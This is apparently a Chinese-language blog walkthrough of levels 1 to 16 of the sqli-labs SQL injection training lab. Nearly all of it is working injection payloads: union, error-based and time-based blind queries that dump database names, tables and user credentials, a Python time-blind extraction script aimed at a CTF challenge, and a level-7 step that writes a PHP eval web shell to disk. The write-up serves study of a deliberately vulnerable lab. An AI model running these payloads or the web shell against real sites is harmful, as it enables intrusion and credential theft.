sqli 1- 10

sql靶场

目录

sql靶场

第一关

第二关

第三关

第四关

第五关

第六关

第七关

第八关

第九关

第十关

第十一关

第十二关

第十三关

第十四关 

第十五关

 第十六关


第一关

首先我们需要判断是否存在sql注入点,前端界面提示我使用ID作为参数,在url地址栏输入?id=1

通过输入不同的id值查询数据库相对应的内容,之后判断为数字型还是字符型

根据查询内容判断为字符型且有注入点,再通过联合查询,可以一起查询相同列数,且字段名一样的表

要使用sql语句我们需要逃出单引号的控制,闭合单引号。我们还需要知道联合查询的列数,需要求出当前表的列数,需要使用order by检测他的列数 order by 3 --+,再使用order by 4 --+判断列数

3时正常回显,为4时没有正常回显,知道为3列。使用联合查询

?id=-1'union select 1,2,3--+

根据语法可知union的使用,可以查询相应

?id=-1'union select 1,database(),version()--+

进行爆表,已知mysql中information_schema表中有mysql数据。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出相对应的字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

?id=1  正常回显
?id=1"  报错 ' " LIMIT 0,1 '
?id=1--+  正常

由此判断是数字型注入

根据查看源码知道第二关和第一关就是类型上面的区别

?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

第三关

?id=1  正常
?id=1"  正常
?id=2"  正常
?id=1"--+  正常
?id=;/';[]'    报错 ' ;/';[]'') LIMIT 0,1 '
           
判断是字符型注入,闭合方式是')

?id=1') order by 3--+   正常

判断回显位有三个。

同上第一第二关
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

?id=-1') and 1=2 union select 1,2,group_concat(username ,id , password) from users--+

第四关

通过源码已知和第3关一样只是闭合方式不同

?id=1  正常
?id=2-1  回显和id=2一样,不是数字型
?id=1'  正常
?id=1"   报错'"1"") LIMIT 0,1' 
           
判断是字符型注入,闭合方式是")

?id=-1") and 1=2 union select 1,2,group_concat(username ,id , password) from users--+

 第五关

继续判断闭合方式和类型

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '
           
判断是字符型,'闭合。

查看源码已知本关使用的是报错注入

爆表名
?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+

爆数据库表名
?id=1' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,0x7e),3)--+

爆字段名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

                        

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第六关

和第五关一样就是闭合方式不同,换成了=="

第七关

?id=1                  You are in.... Use outfile......提示用文件
?id=1'''''             回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+              回显You have an error in your SQL syntax
?id=1'))--+            You are in.... Use outfile......  

说明是字符型注入闭合是   '))

测一下显位

?id=1')) order by 3--+   回显正常  You are in.... Use outfile......

判断回显位有三个。

已知第七关是一个文件上传漏洞,通过上传php脚本创建后门,再使用antswork连接

上传test.php后门文件

?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%3C?php%20@eval($_POST[cmd]);%20?%3E%20into%20outfile%20%22F:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php%22--+

访问界面证明php脚本生效

直接antswork连接

第八关

继续查看闭合方式

?id=1                  You are in.... 
?id=1'''''             无回显,看不见报错
?id=1'--+              无回显,看不见报错
...
...
...
?id=1"--+              You are in....,双引号闭合

说明是字符型注入闭合是  "

?id=1" order by 1--+   回显正常  You are in....
?id=1" order by 2--+   回显正常  You are in....
?id=1" order by 3--+   回显正常  You are in....

判断不了回显位,后来盲注脚本用的时候也不需要。

 

可能使用的时间盲注
id=1' and sleep(5) --+
猜表名是security
?id=1' and if(left(database(),1)='s',sleep(5),null)--+

?id=1' and if(left(database(),2)='se',sleep(5),null)--+

 5秒后返回该界面

第九关

?id=1                  You are in.... 
?id=1'''''             You are in.... 
?id=1""""))))          You are in.... 
?id=1'--+              You are in....
...
...
...
啥都是You are in....(也算是得用时间盲注的一个标志)

判断不了闭合和位数

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

直接上时间盲注的脚本 

import requests
import time
 
s = requests.session()          #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

第十关

和第九关一样只是闭合方式不同,该关使用的 " 闭合

第十一关

类型转换,为post请求了使用bp抓包查看

使用admin' 报错
使用admin'# 不报错
知道为'闭合

' union select 1,2 #   判断回显
' union select 1,database() # 爆出数据库

 

爆出表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

爆出列名

' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

爆数据
' union select 1,group_concat(username,password) from users #

 

第十二关

同上第十一关闭合方式不同,该关为") 闭合方式

第十三关

admin'

报错near '111') LIMIT 0,1' at line 1

说明是')闭合

输入') # 或') or 1=1 #

却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注

1') order by 3#报错

1') order by 2#无回显

所以字段数为2
爆库名
1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

爆表名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#

爆列名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#

爆数据名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

第十四关 

同上13关,闭合方式为 "

第十五关

1' or 1=1--            登录成功图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录失败图片

所以闭合是单引号 '
1' order by 1--             登录失败图片
1' order by 2--             登录失败图片
1' order by 3--             登录失败图片
1' order by 4--             登录失败图片

测不了一点。但是应该是2,而且盲注不需要。

 爆库长 admin' and if(length(database())=8,sleep(5),null) # 

从左边第一个字母开始,判断库名第一个字母是不是s

admin' and if(left(database(),1)='s',sleep(5),null) #

admin' and if(left(database(),2)='se',sleep(5),null) #
爆表名
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)#

 第十六关

同上15关,闭合方式为 "

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值